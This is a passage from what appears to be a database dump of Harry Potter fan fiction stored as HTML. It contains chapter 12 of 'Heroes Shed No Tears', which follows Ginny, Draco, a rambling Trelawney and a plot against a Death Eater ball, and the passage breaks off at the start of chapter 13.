3,000 words. That way they&#8217;re long enough to sate you guys for a while.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Thanks to:</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p>Natalie and Elenya for betaing. Love you.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Thanks everyone for reviewing. I love you more than my betas *wink wink*. &nbsp;</b></p> '),
	(99, 12, ' <p><b>heroes shed no tears &#8211; 12</b></p>\n\n<p><i>by virtualfaerie</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>-------------------------------------------------</p>\n\n<p>&nbsp;</p>\n\n<p>Lying down in her bed, covers pulled up to her neck, Ginny gazed at the canopy of her bed. The dormitory was silent; Draco had stalked out hours earlier, after Ginny had retreated to her curtained bed. She had jumped at every sound, wondering if it could be Draco coming back from wherever he was. But he hadn&#8217;t come.</p>\n\n<p>&nbsp;</p>\n\n<p>She tossed and turned, feeling slightly guilty of what she said to Draco. He&#8217;d helped the Resistance a lot, much more than a lot. They might not have stood a chance against Voldemort in one last battle had he not told them Voldemort&#8217;s plans of using dark creatures. The Resistance owed much to him.</p>\n\n<p>&nbsp;</p>\n\n<p>Getting tired of waiting, Ginny slipped out of bed, shoving her feet into a pair of slippers, and grabbing the robe she had been wearing earlier and pulling it over her head.</p>\n\n<p>&nbsp;</p>\n\n<p>She tip-toed down the stairs and stopped short at the entrance of the common room, backing up slowly. Bane and Draco were sitting in front of the fire; Draco had a glass of amber liquid in his hand, swirling it around occasionally, and Bane was staring into the fire, his eyes hard.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How&#8217;s Penelope?&#8221; Draco asked, giving his glass another swirl. </p>\n\n<p>&nbsp;</p>\n\n<p>Bane closed his eyes tightly for a moment, letting out a low sigh. He opened them slowly, looking at Draco painfully. &#8220;You want the truth, Malfoy?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No less.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She&#8217;s not getting any better. Pomfrey can&#8217;t bring herself to come out and say it to me, but I know. If anything, she&#8217;s getting worse &#8211; and there&#8217;s nothing we can do for her.&#8221; He rubbed his temples. &#8220;I don&#8217;t know what to tell Sara. If I told her&#8230;she&#8217;d just be heartbroken. She spends all of her free time looking up cures in books, or asking Madame Pomfrey questions.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There&#8217;s no use hiding it from her,&#8221; said Draco. &#8220;She&#8217;s going to find out sooner or later.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know that. But, I want to wait. Maybe, maybe she&#8217;ll get better,&#8221; Bane said bleakly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s better to tell them the truth so they know what to expect,&#8221; said Draco, taking a sip of his drink. &#8220;I told Haven.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Bane&#8217;s eyebrows knitted together. &#8220;How&#8217;d he take that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco shrugged. &#8220;He definitely doesn&#8217;t like the idea. But I told him the truth. It&#8217;s better than him not knowing, and asking when he&#8217;s older &#8211; then finding out from someone besides me, maybe from Mathilde. Then she would turn him against me.&#8221; He drained the last of his drink and set the glass down on a table.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I still can&#8217;t believe she tried to do that&#8230;&#8221; Bane said disbelievingly. &#8220;She&#8217;s a nut case.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why&#8217;d you ever&#8230;?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco tensed. &#8220;I&#8217;d rather not talk about it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Does he look like her at all? He seems to take an awful lot after you,&#8221; said Bane.</p>\n\n<p>&nbsp;</p>\n\n<p>The corners of Draco&#8217;s mouth tugged up gently. &#8220;He takes after me. He&#8217;s lucky he didn&#8217;t get Mathilde&#8217;s nose&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Bane chuckled. &#8220;She&#8217;s got a big one, eh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huge.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny finally tiptoed back up to bed after guilt began to settle in for eavesdropping. She lay down, and pulled her blankets up to her chin, closing her eyes tightly. </p>\n\n<p>&nbsp;</p>\n\n<p>Moments later, the door creaked open slowly, Draco&#8217;s soft footsteps sounding on the floor. His boots thumped on the floor and his mattress squeaked as he sat on it. He expelled a loud sigh and his hangings were drawn shut.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco,&#8221; Ginny called out slowly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hm?&#8221; came his muffled reply. &#8220;What Weasley?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I,&#8221; she paused. &#8220;I&#8217;m sorry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shut up, Weasley. Go to sleep,&#8221; he said gruffly.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny smiled and turned over in her bed.</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny had slipped out of the dormitory early that morning, before Draco was awake, and walked down to the Hospital Wing. She was still wearing her pajamas, with her robes flung over them, and her feet jammed into some slippers. All in all, she was pretty comfortable.</p>\n\n<p>&nbsp;</p>\n\n<p>She stepped through the door way of the Hospital Wing slowly, peering in cautiously. Madame Pomfrey looked up at her from her desk and smiled. &#8220;Miss Weasley,&#8221; she greeted. &#8220;You&#8217;ve come to see your brothers?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded. &#8220;Yes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Madame Pomfrey hefted herself out of her chair and shuffled across the wing to two beds lying near a big window. She pulled at the curtains back around the beds and peeked in quickly. She looked back up at Ginny. &#8220;Percy is still asleep, but Ron is awake,&#8221; she said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks,&#8221; said Ginny, making her way towards Ron&#8217;s bed. She pulled back the curtains and sat down on the edge of his bed. &#8220;How are you doing?&#8221; she asked softly.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron smiled at her. &#8220;I&#8217;m feeling really good actually. Like I could jump out of bed and do a million cartwheels.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Eh,&#8221; said Ginny, with a doubtful look on her face. &#8220;I don&#8217;t think that&#8217;s the best idea&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron reached up and ruffled her hair. Ginny scowled at him. &#8220;I was only joking,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You messed up my hair,&#8221; she grumbled, lifting her hands up and trying to put her hair back to the way it was. </p>\n\n<p>&nbsp;</p>\n\n<p>Ron rolled his eyes. &#8220;It looks the same as it did before.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whatever&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>There was a rustling sound across the hall in the Infirmary. Ginny frowned and strained her ears to listen closer. There was a string of, &#8220;No&#8230;no&#8230;no.&#8221; Then a whimper.</p>\n\n<p>&nbsp;</p>\n\n<p>She looked to Ron. &#8220;Just a minute,&#8221; she said, stepping out. &#8220;Madame Pomfrey?&#8221; she called out hesitantly. No answered. &#8220;Madame Pomfrey?&#8221; she tried a bit louder, no luck.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is there something you needed?&#8221; rumbled a low, masculine voice. Ginny whipped around, her eyes wide. Bane stood behind, looking down at her thoughtfully. She hadn&#8217;t even noticed him come in. &#8220;Madame Pomfrey stepped out for a moment&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh,&#8221; she said. &#8220;Did you hear&#8230;.?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s Trelawney,&#8221; he said, jerking his head towards a bed in the corner of the Infirmary. &#8220;She was hit with a Crutiatus while trying to divinate&#8230;not a good combination.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny blinked and walked over the Trelawney&#8217;s bed curiously, pulling back the curtains and looking in. Trelawney&#8217;s whimpers grew louder and she thrashed about her bed, her long black hair flying around her in tangle mess. Her teeth were bared and she was hissing as she tossed and turned, getting her legs tangled up in her sheets.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t trust him!&#8221; she croaked, stopping her thrashing and sitting up straight to look at Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; said Ginny, confused.</p>\n\n<p>&nbsp;</p>\n\n<p>There was a hand on her shoulder, it was Neville. He glanced at Trelawney concernedly. &#8220;She&#8217;s been rambling like this a lot lately.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t trust him!&#8221; she said again in her hoarse voice. &#8220;He&#8217;ll betray you! He&#8217;ll betray you all!&#8221; Her eyes were glazed over, darting wilding, not looking at anything, and looking at everything all at once. She looked like a wild animal, savage and untamed. The way her teeth were bared and her eyes moving was feral, it chilled Ginny&#8217;s blood to see her.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s eyebrows had shot up, her eyes looking from Neville to Trelawney nervously, biting at a finger nail, she had no clue as to what to do. Neville looked shocked, his mouth was open and his eyes were wide.</p>\n\n<p>&nbsp;</p>\n\n<p>Trelawney turned her head towards Neville. &#8220;You!&#8221; she snapped, her eyebrows slammed together, her face contorted into a fury. &#8220;You are a tea-cup breaker! You always broke my tea-cups you insolent fool! You shall always be a tea-cup breaker!&#8221; she was muttering. &#8220;Always&#8230;. You broke&#8230;you broke&#8230; They should throw you out of Hogwarts, you tea-cup breaker! Throw you out! Throw you out!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh dear,&#8221; murmured Madame Pomfrey, hustling to Trelawney&#8217;s bed. &#8220;She&#8217;s been saying things like this lately, dears. Means nothing, she&#8217;s not quite in her mind anymore&#8230;.&#8221; She ushered them away. &#8220;Go along now, there&#8217;s nothing to see.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Neville was staring at his feet as they left the infirmary, his eyes still wide. He fingered the collar of his robes incessantly. The strings that held the buttons to his robes were long and thin from being turned over so many times by his habit. He looked up at Ginny. &#8220;What do you think she meant about me being a tea-cup breaker?&#8221; he asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Madame Pomfrey said she wasn&#8217;t in her mind,&#8221; she said irresolutely. &#8220;It was probably just mindless drivel.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But I did break a lot of tea-cups when I was in her class,&#8221; Neville said anxiously. He shook his head. &#8220;This all give me a bad feeling&#8230;the whole lot of it.&#8221; He sighed. &#8220;Oh well, I&#8217;ll see you around,&#8221; he said, before taking a turn down another corridor and slipping out of sight.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny gripped at the dragon pendant that was lying in the hollow of her neck, rubbing her thumb over the warm metal, reveling in its familiar comfort.</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hullo,&#8221; Ginny greeted, sliding into a seat next to Hermione, in the Great Hall.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey,&#8221; said Hermione, glancing up from her book. &#8220;How&#8217;s Ron doing?&#8221; she asked. &#8220;I haven&#8217;t been to see him since yesterday.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good,&#8221; said Ginny. She piled some pancakes on her plate, slathering them with butter and dumping syrup on top.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione wrinkled her nose. &#8220;How can you eat that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny took a bite and grinned, a few waif strands of hair stuck in the syrup coating her lips. &#8220;I haven&#8217;t had butter or anything sweet for so long&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s eyebrows shot up. &#8220;They weren&#8217;t feeding you properly at the camps?&#8221; she asked with a tone very similar to the one she used when talking about S.P.E.W. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If you call butter and syrup properly,&#8221; said Ginny. &#8220;Then, no.&#8221; She took another bite.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry came and took a seat across the table from her. &#8220;Looks like someone&#8217;s hungry,&#8221; he commented, serving himself some eggs.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Someone also hasn&#8217;t eaten since yesterday morning,&#8221; said Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And I think it&#8217;s odd that you&#8217;re talking in third person,&#8221; said Draco, taking the seat next to her. She jumped when his elbow grazed her arm. He raised an eyebrow. &#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny felt the urge to shove her elbow into the butter dish, but resisted. &#8220;Nothing,&#8221; she mumbled, taking another bite of her pancakes. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Have you seen Neville this morning?&#8221; Hermione asked Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, he was in the hospital wing a little earlier.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione furrowed her eyebrows. &#8220;What was he doing there?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny shrugged and took a bite of her breakfast. &#8220;I don&#8217;t know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry turned to Draco. &#8220;Do you have any news on when the Death Eater HQ is going to be most vulnerable?&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked up from his sausages. &#8220;I don&#8217;t know an exact time. But probably during Voldemort&#8217;s next big gathering. Most of the Death Eaters will have to abandon their posts so that they can hear what he has to say.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry raised his eyebrows and nodded. &#8220;Sounds like a good idea to me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny scoffed and put her fork down. &#8220;How&#8217;s that supposed to work if no one&#8217;s there, Voldemort in particular? How have we defeated anything? I thought the plan was to get rid of him, not sneak into his headquarters when on one&#8217;s even there.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco scowled at her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And I thought that the Slytherins&#8217; were supposed to be the cunning ones&#8230;.&#8221; She smirked at Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She&#8217;s right,&#8221; said Hermione. &#8220;There&#8217;s no point in going while no one is there.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry cast a nervous glance at Draco whose fist was clenching around his knife. &#8220;So what&#8217;s Plan B, Malfoy?&#8221; he asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Next weekend there is going to be an annual Death Eater ball, something to celebrate the day the Death Eaters were founded,&#8221; said Draco. &#8220;We could go there.&#8221; He looked at Ginny. &#8220;Everyone would be there. Voldemort in particular.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go on,&#8221; Ginny prodded. &#8220;Amaze me with the rest of the plan.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco continued. &#8220;This year it&#8217;s supposed to be a masquerade ball, or at least that&#8217;s the theme. We could sneak in with costumes &#8211; &#8220;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wait, wait,&#8221; interpreted Ginny. &#8220;Won&#8217;t they have a guest list or something, to check and see if only the people that are supposed to be getting in are getting in? Wouldn&#8217;t they have prepared for something like this? I do admit that Death Eaters are idiots, but they must have thought of something like that happening &#8211; it is quite obvious.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Alright,&#8221; Draco said slowly, his eyes narrowing at Ginny. &#8220;No sneaking in with costumes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded appreciatively. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I guess we can just sneak in somewhere else, maybe the dungeons, there won&#8217;t be anyone down there except a few prisoners of war, or at least the ones that haven&#8217;t been killed &#8211; they&#8217;ll be locked up so that the Death Eaters that are supposed to be on patrol can go to the ball.&#8221; He pointedly looked at Ginny. &#8220;Is that ok with you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; she said. &#8220;Very good. Do go on.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco rolled his eyes. &#8220;From there we should probably split up &#8211; not that many people would need to come during this step, but we&#8217;ll need lots of people nearby for back up. And they won&#8217;t be able to Apparate in, they&#8217;ll most likely have set up wards against that. But, the few people that will be going in first will need to split up into groups. Each group will have to find where Voldemort is. He won&#8217;t be at the ball, but he&#8217;ll be in the headquarters building. If anything, he&#8217;ll make a short appearance at the ball and then leave. But that&#8217;s good because it&#8217;ll give us time to catch him alone, or without many escorts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What do we do when we find him?&#8221; Ginny questioned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We&#8217;ll have to come up with some sort of communicators so that we can tell the others that we&#8217;ve found him &#8211; then who we have in the building will come and we&#8217;ll have to fight him.&#8221; Draco looked around the table. &#8220;Consulting Dumbledore on the matter of how to fight him is probably the wisest thing to do. And for now, we should keep our plan just between us. You never know who the infiltrate might be.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione sighed. &#8220;Sounds like a good plan. So mouths shut till we talk to Dumbledore?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;Yes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione got up from the table. &#8220;I&#8217;m off to the library to study more defensive spells.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry stood up as well. &#8220;I&#8217;ll go too.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny picked at what was left of her breakfast and watched Draco eat the rest of his. He hadn&#8217;t really been able to eat while he was talking. He finished and sat back, taking a look at her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You sure are mouthy this morning, aren&#8217;t you?&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mouthy?&#8221; Ginny raised an eyebrow. &#8220;I was just pointing out the flaws in your plans. The flaws that could get people killed.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco rolled his eyes again. &#8220;Only the Death Eaters.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny shook her head. &#8220;You obviously didn&#8217;t put much thought into them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ve got a lot of things on my mind,&#8221; said Draco, getting up from the table. He walked off through the big doors that led out into the hallways, leaving Ginny sitting down at the table by herself.</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>&nbsp;</p>\n\n<p>Draco fastened his cloak around his shoulders and started down the stairs that led to the Ravenclaw common room. He was about to step out of the common room when someone spoke to him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Malfoy? Where are you going?&#8221; It was Mrs. Weasley.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco stopped and walked over to her. &#8220;I&#8217;m going to visit Haven and my mother.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You are?&#8221; she said. &#8220;Would you mind horribly if I came? It&#8217;s so&#8230;dismal here, and your mother is such a kind woman. Would she mind me staying with here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco eyed her carefully. &#8220;I don&#8217;t think she&#8217;d mind too much. I&#8217;m sure she gets lonely sometimes, even if she has Haven around.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Molly clapped her hands together. &#8220;That&#8217;s just wonderful. You&#8217;re leaving now?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just a moment, let me get my things,&#8221; she said, rushing up the stairs.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco took a seat, wondering what Mrs. Weasley needed to get, she didn&#8217;t really have anything to call her own when they&#8217;d arrived a day before. But soon she came clomping down the stairs with an old shawl wrapped around her shoulders.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Okay,&#8221; she said. &#8220;I just need to tell my kiddies that I&#8217;m leaving, would you mind? It won&#8217;t take to long.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go ahead,&#8221; he said reluctantly, taking his seat again. Why was he bringing this woman again?</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>They stepped into Narcissa&#8217;s living room out of the fireplace. Molly had taken awhile to find all of her children and make sure that they knew where she was going, and that she loved them. She told them that there was just too much stress for her at the castle and that she needed to get away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Daddy!&#8221; Haven bounded into the room with his arms flung out. He ran smack into Draco. Draco put his hands under Haven&#8217;s arms and lifted him up into a hug. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey there,&#8221; said Draco, smiling.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was wondering when you were going to come see me,&#8221; said Haven. He looked behind Draco at the fireplace. &#8220;Is Ginny coming too?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco wrinkled his eyebrows. &#8220;Ginny? No, she isn&#8217;t coming.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh,&#8221; said Haven, his face falling. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco, Molly,&#8221; Narcissa came into the room with a big smile on her face. &#8220;How nice to see you.&#8221; Molly smiled and gave Narcissa a warm hug.&nbsp; &#8220;Have you come to stay?&#8221; Narcissa asked. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mrs. Weasley needed to get away from the castle,&#8221; said Draco. &#8220;And I wanted to talk to Haven before I actually had to go into any fighting.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Narcissa&#8217;s bright smile faltered for a moment. &#8220;Oh,&#8221; she said. &#8220;There&#8217;s going to be fighting soon?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;I&#8217;m afraid so.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Narcissa came over and wrapped Draco in a hug, Haven in his arms and all, and kissed him soundly on the cheek. &#8220;Well, after you are done talking to Haven, make sure I get another hug.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The corner of Draco&#8217;s mouth turned up. &#8220;Of course, mother.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come Molly, I&#8217;ll show you where you&#8217;ll be staying,&#8221; Narcissa said, taking Molly&#8217;s arm and leading her out of the room.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco took Haven over to a couch and sat down with him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re going to have to fight again?&#8221; Haven asked quietly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Draco. &#8220;But I think this will be the last time, then we can live together without me leaving all the time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What if&#8230;.you don&#8217;t come back?&#8221; Haven said softly, looking up at Draco. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco tightened his hold on Haven. &#8220;Don&#8217;t worry,&#8221; he said. &#8220;I&#8217;ll be coming back. You can&#8217;t get rid of me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Haven smiled a little. &#8220;What about Ginny? Is she going to have to fight too?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco sighed and ran a hand through his hair. &#8220;She&#8217;ll want to. Why?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wanted to see her before she had to go to.&#8221; Haven paused, and looked back up at Draco, his eyes twinkling. &#8220;I think I love Ginny. I also think that I want to marry her.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco grinned and bit back a laugh. &#8220;You want to marry her?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Haven nodded sagely. &#8220;I really do. She&#8217;s nice and pretty and she takes care of me. Or,&#8221; he said sincerely, &#8220;you could marry her.&#8221; Haven shrugged. &#8220;Either way would be good.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco shook his head. &#8220;I don&#8217;t think that would work.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why not?&#8221; Haven asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Because,&#8221; Draco said slowly. &#8220;We don&#8217;t love each other.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We just don&#8217;t.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Haven hung his head. &#8220;Will I be able to see her before you guys have to leave?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco rubbed his temples. &#8220;If you really want to see her, I&#8217;ll make sure I bring her before we go. Alright?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Haven grinned. &#8220;Yeah, that&#8217;s good. I&#8217;ll ask her to marry <i> me</i> when you bring her.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You do that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny was sitting in the Ravenclaw common room on a couch with Sara when Draco came back. She was reading her a picture book that they had found in the library.</p>\n\n<p>&nbsp;</p>\n\n<p>He had come in the portrait hole, ready to just keep walking up to the dormitory.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How&#8217;s Haven?&#8221; she asked.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco stopped and turned to face her. &#8220;Haven is doing well, he wants to see you before we have to go fight.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny smiled. &#8220;He does?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Draco. &#8220;He also wants to propose marriage to you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny laughed. &#8220;Did he really say that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;He did. There&#8217;s still time to go today if you want to see him. It won&#8217;t take us that long to get there.&#8221; Then he noticed Sara sitting with Ginny on the couch. &#8220;Hi, Sara,&#8221; he said. &#8220;Would you like to come too? I&#8217;m sure Haven would be glad to see you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sara beamed at him. &#8220;That would be cool,&#8221; she said. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You have to ask your father first though, so that he knows where you&#8217;re going,&#8221; said Draco. He glanced around the common room. &#8220;Where is your father anyways?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sara shrugged. &#8220;I don&#8217;t know. I saw him this morning and then he left. No one knows where he is.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco raised his eyebrows and turned to race out of the common room, not saying another word.</p>\n\n<p>&nbsp;</p>\n\n<p>Sara and Ginny exchanged looks.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wonder what that was about&#8230;&#8221; said Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>&nbsp;</p>\n\n<p>Blaise Zabini was sitting in a highly cushioned, leather chair in his office, sipping a glass of brandy. He had his feet propped up on his desk, crossed at the ankles. He&#8217;d had a long day and was waiting for his informant to arrived.</p>\n\n<p>&nbsp;</p>\n\n<p>Not many minutes later there was a knock on the door.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come in,&#8221; he called out.</p>\n\n<p>&nbsp;</p>\n\n<p>The door creaked open and a hooded figure entered the room, shutting the door behind him and taking a seat in one of the chairs that faced Zabini&#8217;s desk.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Zabini,&#8221; he said gruffly.</p>\n\n<p>&nbsp;</p>\n\n<p>Blaise nodded his head. &#8220;Anything new to report?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They have their own infiltrate.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Zabini&#8217;s eyebrows shot up. &#8220;They do?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes &#8211;&#8220;</p>\n\n<p>&nbsp;</p>\n\n<p>The door slammed open, Draco standing there, his eyes glittering darkly.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>A/N: </b>That&#8217;s it folks. Please review &#8211; I worked my butt off.</p> '),
	(99, 13, '\n\n\n\n\n\n<p>[A/N: What can I say? I know it&#8217;s taken almost a month for me to update with this chapter and I&#8217;m really sorry for the long wait. There were lots of things I had to work through with this chapter, I had to re-write a scene, and then I had exams for the end of the year at school. </p>\n\n<p>&nbsp;</p>\n\n<p>You all know I know own anything. Characters, settings, and almost everything else belongs to J.K. Rowling.]</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Heroes Shed No Tears</p>\n\n<p>By VirtualFaerie</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Last time on Heroes Shed No Tears<b>:</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p><i>The door slammed open, Draco standing there, his eyes glittering darkly.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>The infiltrate whipped his head around to turn and see who had just entered, his hood falling from his head, unmasking his face. He 